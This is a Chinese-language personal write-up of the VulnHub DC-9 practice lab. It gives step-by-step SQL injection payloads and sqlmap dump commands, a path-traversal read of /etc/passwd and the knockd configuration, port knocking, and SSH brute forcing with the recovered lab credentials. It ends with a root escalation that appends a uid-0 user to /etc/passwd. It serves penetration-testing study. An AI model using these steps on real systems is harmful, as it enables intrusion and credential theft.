本文仅个人学习所做笔记,仅供参考,有不足之处请指出!
vulnhub靶机
vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
靶机DC9 还是老样子只有拿到root权限才可以发现最终的flag。
Vulnhub靶机下载:
官网地址:[https://download.vulnhub.com/dc/DC-9.zip]
Vulnhub靶机安装:
下载好了把安装包解压 然后试用VMware即可。
环境准备
攻击机:kali
靶机:DC-9
同一局域网段
DC-9靶机漏洞详解
信息收集
打开kali和DC-9靶机,可以看到它是需要登录账户密码的
接下来对它进行信息收集
在kali上使用nmap扫描整个虚拟机网段的存活主机:
nmap -sP -PI -PT 192.168.232.0/24
可以看到通过排除,靶机的ip为:192.168.232.136
确定IP后在通过nmap扫描其主机信息:
nmap -sV -Pn 192.168.232.136
可以看到靶机开放了80端口但22端口是filtered的(后面会利用到),这里可以先用浏览器访问一下80端口,进行框架识别。
发现无框架的页面,接下来探查一下页面,看是否存在web漏洞,先用dirseach进行扫描,没有发现可以利用的文件:
漏洞利用
测试过程
接下来可以测试一下搜索框和登录界面是否存在sql注入漏洞,测试:
1' and 1=1#
1' and 1=2#
这里会发现两条语句都没回显出信息
这里并不代表着不存在sql注入漏洞,可能是web服务器屏蔽了回显报错信息,也就是不会报错,这个时候我们就无法判断闭合形式是否为单引号等,只能盲猜一手,而且因为不能报错,也就无法使用order by去判断查询字段长度,但还可以使用union select来判断。
首先盲猜为单引号闭合:
1' union select 1#
1' union select 1,2#
1' union select 1,2,3#
1' union select 1,2,3,4#
1' union select 1,2,3,4,5#
1' union select 1,2,3,4,5,6#
当查询6个字段时出现了数据,可以判断这里是存在SQL注入漏洞的。
当然这里可以使用1’ or 1=1#来直接恒等于真,爆出查询语句的内容。也是可以判断这里存在SQL注入漏洞。
还可以用漏洞扫描工具来测试是否存在漏洞,这里所使用的的Xray。
sqlmap爆数据库
接下来竟然知道这里存在字符型sql注入漏洞,我们使用sqlmap工具来爆出我们所需要的数据库信息:
1、爆数据库名,由于是POST请求发送数据,所以这里指定–date参数为search
sqlmap -u 'http://192.168.232.136/results.php' --data 'search=1' --dbs --batch
2、爆staff数据库表名
sqlmap -u 'http://192.168.232.136/results.php' --data "search=1" -D Staff --tables --batch
3、爆users表的字段名
sqlmap -u 'http://192.168.232.136/results.php' --data "search=1" -D Staff -T Users --columns --batch
4、获取字段数据
sqlmap -u 'http://192.168.232.136/results.php' --data "search=1" -D Staff -T Users -C "UserID,Username,Password" --dump --batch
5、md5解密
https://www.somd5.com/
6、同样按照上述步骤获取users数据库的信息
sqlmap -u 'http://192.168.232.136/results.php' --data "search=1" -D users -T UserDetails -C username,password,id --dump --batch
任意文件读取漏洞
通过sql注入漏洞,获取了管理员账户和密码,登录管理员后台,发现页面有个提示:File does not exist显示文件不存在:
测试一下看是否存在文件包含漏洞,这里可以用wfuzz工具爆出是file参数:
?file=../../../../etc/passwd
接下来不知道怎么搞了,去网上找了一些文章这里,发现这里接下来需要利用knockd服务https://zhuanlan.zhihu.com/p/210177505
通过/proc/sched_debug 来查看Linux系统中任务的调度情况,发现了knockd进程:
knockd 服务的默认配置路径:/etc/knockd.conf
然后使用文件包含漏洞遍历一下,获得ssh开门密码 sequence = 7469,8475,9842
然后安装knock工具,对获取的端口(开门密码)实现碰撞,可以看到成功开启了ssh端口:
apt install knockd
knock 192.168.232.136 7469 8475 9842
或者
nmap -sV 192.168.232.136 -p 7469
nmap -sV 192.168.232.136 -p 8475
nmap -sV 192.168.232.136 -p 9842
nmap -sV 192.168.232.136
ssh爆破
在开放ssh端口后,需要尝试通过用户名、密码登录,这里我们可以根据通过sql注入爆出的users库UserDetails表中的字段信息,将username放入user.txt,将password放入pass.txt来爆破ssh:
[22][ssh] host: 192.168.232.136 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.232.136 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.232.136 login: janitor password: Ilovepeepee
爆破出来有3个用户可用,通过ssh登录三个账号进行信息收集
信息收集
爆破出来有3个用户可用,通过ssh登录三个账号进行信息收集:
ls -al 查看用户文件
sudo -l 查看root权限
history 查看历史命令
1、chandlerb
2、 joeyt
3、janitor
经过测试发现,在 janitor 用户登录的时候,在.secrets-for-putin发现了一些新的密码信息。
二次ssh爆破
将新获取的密码信息再放入pass1.txt中,再次进行ssh爆破:
[22][ssh] host: 192.168.232.136 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.232.136 login: fredf password: B4-Tru3-001
可以看到这里又新发现了一个用户fredf,按上述命令继续对fredf进行信息收集,看是否能发现敏感信息:
在查看权限时,发现一个test路径。经过查看发现test是一个python文件,接下来使用查找命令,查看这个python文件:
经过查看发现这个py文件的大致内容就是将参数1的内容写入参数2中,接下来尝试进行提权。
本地提权
先openssl passwd创建一个新用户和密码
openssl passwd -1 -salt admin admin
-1 #使用md5加密算法
-salt #自动锚入一个随机参数作为文件内容加密
然后构造成/etc/passwd下的格式,保存在pass文件中
echo 'admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >> pass
再运行刚刚发现的test.py将pass写入到/etc/passwd
sudo /opt/devstuff/dist/test/test pass /etc/passwd
切换为admin用户获取flag
参考文章:
http://t.csdn.cn/ZI6F9
https://zhuanlan.zhihu.com/p/210177505
版权归原作者 Never say die _ 所有, 如有侵权,请联系我们删除。